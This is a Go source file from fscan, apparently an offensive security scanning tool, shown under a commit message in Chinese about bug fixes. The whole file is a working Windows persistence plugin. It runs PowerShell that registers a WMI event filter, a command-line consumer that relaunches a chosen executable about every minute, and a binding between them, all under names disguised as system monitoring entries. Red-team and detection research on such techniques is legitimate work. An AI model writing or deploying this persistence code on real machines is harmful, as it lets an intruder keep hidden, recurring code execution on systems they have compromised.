Files
fscan/plugins/local/winwmi.go
T
ZacharyZcR c266912dcb 修复10个代码缺陷: panic防护, 死锁, 密钥泄漏, 错误吞没
- eval_random: randomInt参数max<=min时不再panic,返回CEL错误
- scanner: 长驻插件nil/panic时兜底发送ready通道,消除死锁
- poc_executor: Ceye API密钥改为环境变量CEYE_API/CEYE_DOMAIN
- Eval: ParseResponse加入oResp.Request nil检查
- Eval: reverseCheck中http.NewRequest错误不再忽略
- poc_executor: clusterpoc中CEL表达式求值错误记录日志
- winwmi: PowerShell执行失败完整记录错误信息
- sshkey: authorized_keys读取失败处理错误
- minidump: Scan结束后释放系统DLL句柄
- Windows插件: PE文件错误消息改用i18n
2026-05-18 03:47:42 +08:00

99 lines
3.1 KiB
Go

//go:build (plugin_winwmi || !plugin_selective) && windows && !no_local
package local
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
type WinWMIPlugin struct {
plugins.BasePlugin
}
func NewWinWMIPlugin() *WinWMIPlugin {
return &WinWMIPlugin{
BasePlugin: plugins.NewBasePlugin("winwmi"),
}
}
func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf(i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf(i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath))
filterName := fmt.Sprintf("SysMon_%s", baseName)
consumerName := fmt.Sprintf("SysExec_%s", baseName)
ps := fmt.Sprintf(`$ok = 0
try {
$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$f.Name = "%s"; $f.EventNameSpace = "root\cimv2"; $f.QueryLanguage = "WQL"
$f.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$f.Put() | Out-Null; $ok++; Write-Output "[OK] EventFilter"
} catch { Write-Output "[FAIL] EventFilter: $_" }
try {
$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$c.Name = "%s"; $c.ExecutablePath = "%s"; $c.CommandLineTemplate = "%s"
$c.Put() | Out-Null; $ok++; Write-Output "[OK] Consumer"
} catch { Write-Output "[FAIL] Consumer: $_" }
try {
$fi = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='%s'"
$co = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='%s'"
$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$b.Filter = $fi.__PATH; $b.Consumer = $co.__PATH
$b.Put() | Out-Null; $ok++; Write-Output "[OK] Binding"
} catch { Write-Output "[FAIL] Binding: $_" }
Write-Output "TOTAL:$ok"`,
filterName, consumerName, absPath, absPath, filterName, consumerName)
out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput()
if err != nil {
common.LogError(i18n.Tr("error_generic", fmt.Errorf("PowerShell执行失败: %w, 输出: %s", err, strings.TrimSpace(string(out)))))
}
result := string(out)
var output strings.Builder
successCount := 0
for _, line := range strings.Split(result, "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "[OK]") || strings.HasPrefix(line, "[FAIL]") {
output.WriteString(line + "\n")
}
if strings.HasPrefix(line, "[OK]") {
successCount++
}
}
if successCount > 0 {
common.LogSuccess(i18n.Tr("winwmi_success", successCount))
}
return &plugins.Result{
Success: successCount > 0,
Type: plugins.ResultTypeService,
Output: output.String(),
}
}
func init() {
RegisterLocalPlugin("winwmi", func() Plugin {
return NewWinWMIPlugin()
})
}